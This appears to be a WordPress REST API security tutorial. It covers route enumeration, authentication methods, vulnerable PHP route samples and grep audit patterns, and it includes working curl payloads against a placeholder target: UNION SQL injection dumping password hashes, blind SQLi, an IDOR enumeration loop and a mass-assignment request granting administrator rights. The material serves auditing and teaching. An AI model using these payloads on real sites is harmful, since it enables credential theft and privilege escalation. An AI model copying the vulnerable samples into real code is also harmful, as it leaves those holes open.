WordPress Internals

WordPress REST API Security

REST API architecture, authentication methods, common vulnerabilities including missing permission callbacks, SQLi, and IDOR

WordPress REST API Security

The WordPress REST API, introduced in core in WordPress 4.7, provides a JSON interface for all WordPress data. It is a high-value attack surface because many plugins register routes with inadequate permission controls, and the API is exposed by default on all WordPress installations.

API Discovery and Enumeration

The REST API is accessible via two URL patterns:

# Standard pretty permalink path
GET https://target.example.com/wp-json/

# Query string fallback (always works regardless of permalink settings)
GET https://target.example.com/?rest_route=/

# Enumerate all registered routes
curl -s 'https://target.example.com/wp-json/' | python3 -m json.tool
curl -s 'https://target.example.com/?rest_route=/' | python3 -m json.tool

# Extract just the route paths
curl -s 'https://target.example.com/wp-json/' | \
  python3 -c "import json,sys; data=json.load(sys.stdin); [print(r) for r in data.get('routes', {}).keys()]"

The index response reveals all registered namespaces and routes with their methods and arguments, making reconnaissance trivial.

How Routes Are Registered

// register_rest_route( namespace, route, args )
add_action( 'rest_api_init', function() {
    register_rest_route(
        'my-plugin/v1',           // Namespace
        '/items/(?P<id>\d+)',     // Route (regex)
        [
            'methods'             => 'GET',
            'callback'            => 'my_get_item',
            'permission_callback' => 'my_permission_check',
            'args'                => [
                'id' => [
                    'required'          => true,
                    'validate_callback' => function($param) {
                        return is_numeric($param);
                    },
                    'sanitize_callback' => 'absint',
                ],
            ],
        ]
    );
});

function my_permission_check( WP_REST_Request $request ) {
    return current_user_can( 'read' );
}

function my_get_item( WP_REST_Request $request ) {
    $id = $request->get_param('id');
    // ...
    return new WP_REST_Response( $data, 200 );
}

The __return_true Danger

The most critical REST API misconfiguration is using __return_true as the permission_callback:

// CRITICALLY VULNERABLE: No authentication required
register_rest_route( 'dangerous-plugin/v1', '/admin-data', [
    'methods'             => 'GET',
    'callback'            => 'get_all_admin_data',
    'permission_callback' => '__return_true', // Anyone can access this
] );

__return_true is a WordPress core function that simply returns true. Using it means any request - authenticated or not - passes the permission check.

# Test if a route is publicly accessible
curl -s 'https://target.example.com/wp-json/dangerous-plugin/v1/admin-data'

# Compare authenticated vs unauthenticated response
curl -s 'https://target.example.com/wp-json/dangerous-plugin/v1/admin-data'
curl -s -u 'admin:password' 'https://target.example.com/wp-json/dangerous-plugin/v1/admin-data'

Finding this pattern in code:

# Find all __return_true permission callbacks
grep -rn "__return_true" /var/www/html/wp-content/plugins/ --include="*.php"

# Find routes with no permission_callback (also vulnerable - defaults to logged-in)
# Actually defaults to a WP_Error if not set (WordPress 5.5+)
# But before 5.5 it defaulted to __return_true!
grep -rn "register_rest_route" /var/www/html/wp-content/plugins/ --include="*.php" -A10 | \
  grep -v "permission_callback"

# More thorough: find register_rest_route blocks missing permission_callback
grep -rP "register_rest_route\s*\(" /var/www/html/wp-content/plugins/ \
  --include="*.php" -l | while read file; do
    if grep -q "register_rest_route" "$file" && ! grep -q "permission_callback" "$file"; then
        echo "MISSING permission_callback: $file"
    fi
done

REST API Authentication Methods

For requests originating from the browser, WordPress uses the standard session cookie plus a nonce:

# Get REST API nonce from a logged-in session
curl -s -b /tmp/wp_cookies.txt 'https://target.example.com/wp-admin/' | \
  grep -oP '"nonce":"?\K[a-f0-9]+'

# Use session + nonce for authenticated REST request
curl -s -b /tmp/wp_cookies.txt \
  -H 'X-WP-Nonce: NONCE_VALUE' \
  'https://target.example.com/wp-json/wp/v2/users'

2. Application Passwords (WordPress 5.6+)

# Generate application password via REST API (must be already authenticated)
curl -s -u 'admin:password' -X POST \
  'https://target.example.com/wp-json/wp/v2/users/1/application-passwords' \
  -H 'Content-Type: application/json' \
  -d '{"name":"Security Test"}'

# Use application password for subsequent requests
curl -s -u 'admin:xxxx xxxx xxxx xxxx xxxx xxxx' \
  'https://target.example.com/wp-json/wp/v2/users'

3. JWT Authentication (via plugins)

# Get JWT token
curl -s -X POST 'https://target.example.com/wp-json/jwt-auth/v1/token' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"password"}'

# Use JWT token
curl -s -H 'Authorization: Bearer EYTOKEN...' \
  'https://target.example.com/wp-json/wp/v2/users'

Common REST API Vulnerabilities

1. Missing permission_callback

Before WordPress 5.5, omitting permission_callback defaulted to open access. Some plugins still have this pattern:

// VULNERABLE: No permission_callback key at all
register_rest_route( 'my-plugin/v1', '/export', [
    'methods'  => 'GET',
    'callback' => 'export_all_user_data',
    // No permission_callback!
] );
# Test unauthenticated access
curl -s 'https://target.example.com/wp-json/my-plugin/v1/export'

# Look for "rest_forbidden" vs actual data in response
curl -s 'https://target.example.com/wp-json/my-plugin/v1/export' | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('code','no code'))"

2. SQL Injection in Route Parameters

// VULNERABLE: User-supplied parameter injected into query
function search_callback( WP_REST_Request $request ) {
    global $wpdb;
    $term = $request->get_param('term');
    // Direct injection - no prepare()
    $results = $wpdb->get_results(
        "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%$term%'"
    );
    return rest_ensure_response( $results );
}
# SQL injection via REST API parameter
curl -s 'https://target.example.com/wp-json/my-plugin/v1/search?term=test%27%20UNION%20SELECT%201,user_login,user_pass,4,5,6,7,8,9,10,11%20FROM%20wp_users--+-'

# Time-based blind via REST API
curl -s "https://target.example.com/wp-json/my-plugin/v1/search?term=test%27%20AND%20SLEEP(5)--+-"
time curl -s "https://target.example.com/wp-json/my-plugin/v1/search?term=test%27%20AND%20SLEEP(5)--+-"

3. IDOR (Insecure Direct Object Reference)

// VULNERABLE: Permission check doesn't verify ownership
register_rest_route( 'my-plugin/v1', '/notes/(?P<id>\d+)', [
    'methods'             => 'GET',
    'callback'            => 'get_note',
    'permission_callback' => 'is_user_logged_in', // Only checks login, not ownership
] );

function get_note( WP_REST_Request $request ) {
    global $wpdb;
    $id = absint( $request->get_param('id') );
    // Returns any note regardless of owner
    return $wpdb->get_row(
        $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}notes WHERE id = %d", $id )
    );
}
# Login first
AUTH_HEADER="Authorization: Basic $(echo -n 'subscriber:password' | base64)"

# Access own note
curl -s -H "$AUTH_HEADER" 'https://target.example.com/wp-json/my-plugin/v1/notes/10'

# IDOR: access other user's note
curl -s -H "$AUTH_HEADER" 'https://target.example.com/wp-json/my-plugin/v1/notes/1'
curl -s -H "$AUTH_HEADER" 'https://target.example.com/wp-json/my-plugin/v1/notes/2'

# Enumerate all notes
for i in $(seq 1 100); do
    RESPONSE=$(curl -s -H "$AUTH_HEADER" \
      "https://target.example.com/wp-json/my-plugin/v1/notes/$i")
    if echo "$RESPONSE" | grep -q '"id"'; then
        echo "Found note $i: $RESPONSE"
    fi
done

4. Sensitive Information Disclosure

WordPress core REST API exposes user information by default:

# Enumerate users (works without authentication on many sites)
curl -s 'https://target.example.com/wp-json/wp/v2/users' | \
  python3 -c "
import json,sys
users = json.load(sys.stdin)
for u in users:
    print(f\"ID: {u['id']}, Login: {u['slug']}, Name: {u['name']}\")
"

# Get specific user
curl -s 'https://target.example.com/wp-json/wp/v2/users/1'

# Check if user enumeration is possible
curl -s 'https://target.example.com/wp-json/wp/v2/users?per_page=100'

5. Mass Assignment via REST API

// Plugin registers a route that updates user meta without restrictions
register_rest_route( 'my-plugin/v1', '/user/update', [
    'methods'             => 'POST',
    'callback'            => 'update_user_callback',
    'permission_callback' => 'is_user_logged_in',
] );

function update_user_callback( WP_REST_Request $request ) {
    $user_id = get_current_user_id();
    $data    = $request->get_json_params();
    // Updates ANY user meta key sent by user
    foreach ( $data as $key => $value ) {
        update_user_meta( $user_id, $key, $value ); // Unrestricted!
    }
    return rest_ensure_response( ['success' => true] );
}
# Abuse mass assignment to set wp_capabilities
curl -s -u 'subscriber:password' -X POST \
  'https://target.example.com/wp-json/my-plugin/v1/user/update' \
  -H 'Content-Type: application/json' \
  -d '{"wp_capabilities": {"administrator": true}}'

sanitize_callback and validate_callback

Proper route registration includes input validation:

register_rest_route( 'secure-plugin/v1', '/data', [
    'methods'             => 'GET',
    'callback'            => 'secure_get_data',
    'permission_callback' => function() {
        return current_user_can( 'read' );
    },
    'args' => [
        'status' => [
            'required'          => false,
            'default'           => 'publish',
            'validate_callback' => function( $param, $request, $key ) {
                return in_array( $param, ['publish', 'draft', 'pending'], true );
            },
            'sanitize_callback' => 'sanitize_text_field',
        ],
        'per_page' => [
            'required'          => false,
            'default'           => 10,
            'validate_callback' => function( $param ) {
                return is_numeric( $param ) && $param > 0 && $param <= 100;
            },
            'sanitize_callback' => 'absint',
        ],
    ],
] );

validate_callback runs first - if it returns false or WP_Error, the request is rejected before the main callback runs. sanitize_callback cleans the value.

# Test validation rejection
curl -s 'https://target.example.com/wp-json/secure-plugin/v1/data?status=invalid_status'
# Should return: {"code":"rest_invalid_param","message":"..."}

# Attempt to bypass with URL encoding
curl -s "https://target.example.com/wp-json/secure-plugin/v1/data?status=publish%0a"

Enumerating Routes for Security Research

TARGET="https://target.example.com"

# Get full route list with methods
curl -s "$TARGET/wp-json/" | python3 -c "
import json, sys
data = json.load(sys.stdin)
routes = data.get('routes', {})
for route, info in sorted(routes.items()):
    if not route.startswith('/wp/v2'):  # Skip core routes
        endpoints = info.get('endpoints', [])
        for ep in endpoints:
            methods = ','.join(ep.get('methods', []))
            print(f'{methods:10} {route}')
"

# Test each non-core route for unauthenticated access
curl -s "$TARGET/wp-json/" | python3 -c "
import json, sys
data = json.load(sys.stdin)
routes = data.get('routes', {})
for route in routes:
    if not route.startswith('/wp/v2') and not route.startswith('/wp/v1') and route != '/':
        print(route)
" | while read route; do
    CLEAN_ROUTE=$(echo "$route" | sed 's/(?P<[^>]*>)[^))]*/1/g')
    URL="$TARGET/wp-json$CLEAN_ROUTE"
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
    echo "$STATUS $URL"
done

WordPress Core REST API Endpoints (Security Reference)

# Users - often leaks usernames
GET /wp-json/wp/v2/users

# Posts - check for private/draft posts leakage
GET /wp-json/wp/v2/posts?status=draft
GET /wp-json/wp/v2/posts?status=private

# Settings - admin only, but check for misconfig
GET /wp-json/wp/v2/settings

# Plugins - admin only
GET /wp-json/wp/v2/plugins

Disabling REST API Exposure (Defense)

Understanding how sites protect the REST API helps identify misconfigurations:

// Common: restrict all REST API to logged-in users
add_filter( 'rest_authentication_errors', function( $result ) {
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'rest_not_logged_in', 'Authentication required', ['status' => 401] );
    }
    return $result;
});

// Per-route restriction check
function check_route_access( WP_REST_Request $request ) {
    if ( ! current_user_can( 'edit_posts' ) ) {
        return new WP_Error(
            'rest_forbidden',
            'You do not have permission',
            ['status' => 403]
        );
    }
    return true;
}
# Check if REST API is restricted globally
curl -s -o /dev/null -w "%{http_code}" 'https://target.example.com/wp-json/wp/v2/users'
# 200 = open, 401 = auth required, 403 = forbidden

# Some plugins block the index but not individual routes
curl -s -o /dev/null -w "%{http_code}" 'https://target.example.com/wp-json/'
curl -s -o /dev/null -w "%{http_code}" \
  'https://target.example.com/wp-json/my-plugin/v1/sensitive-endpoint'

Grep Patterns for REST API Audit

PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"

# All route registrations
grep -rn "register_rest_route" "$PLUGIN_DIR" --include="*.php"

# Routes with __return_true (critical)
grep -rn "__return_true" "$PLUGIN_DIR" --include="*.php" -B5

# Routes potentially missing permission_callback
grep -rn "register_rest_route" "$PLUGIN_DIR" --include="*.php" -A 15 | \
  grep -v "permission_callback" | grep -B5 "callback"

# Raw $wpdb queries in REST callbacks
grep -rn "wpdb->" "$PLUGIN_DIR" --include="*.php" -B5 | grep -B5 "get_param\|get_json"

# Request parameters used directly
grep -rn "get_param\|get_json_params\|get_body" "$PLUGIN_DIR" --include="*.php" -A3

# REST API authentication bypasses via is_user_logged_in (not capability check)
grep -rn "is_user_logged_in\(\)" "$PLUGIN_DIR" --include="*.php" -B5 | \
  grep "permission_callback"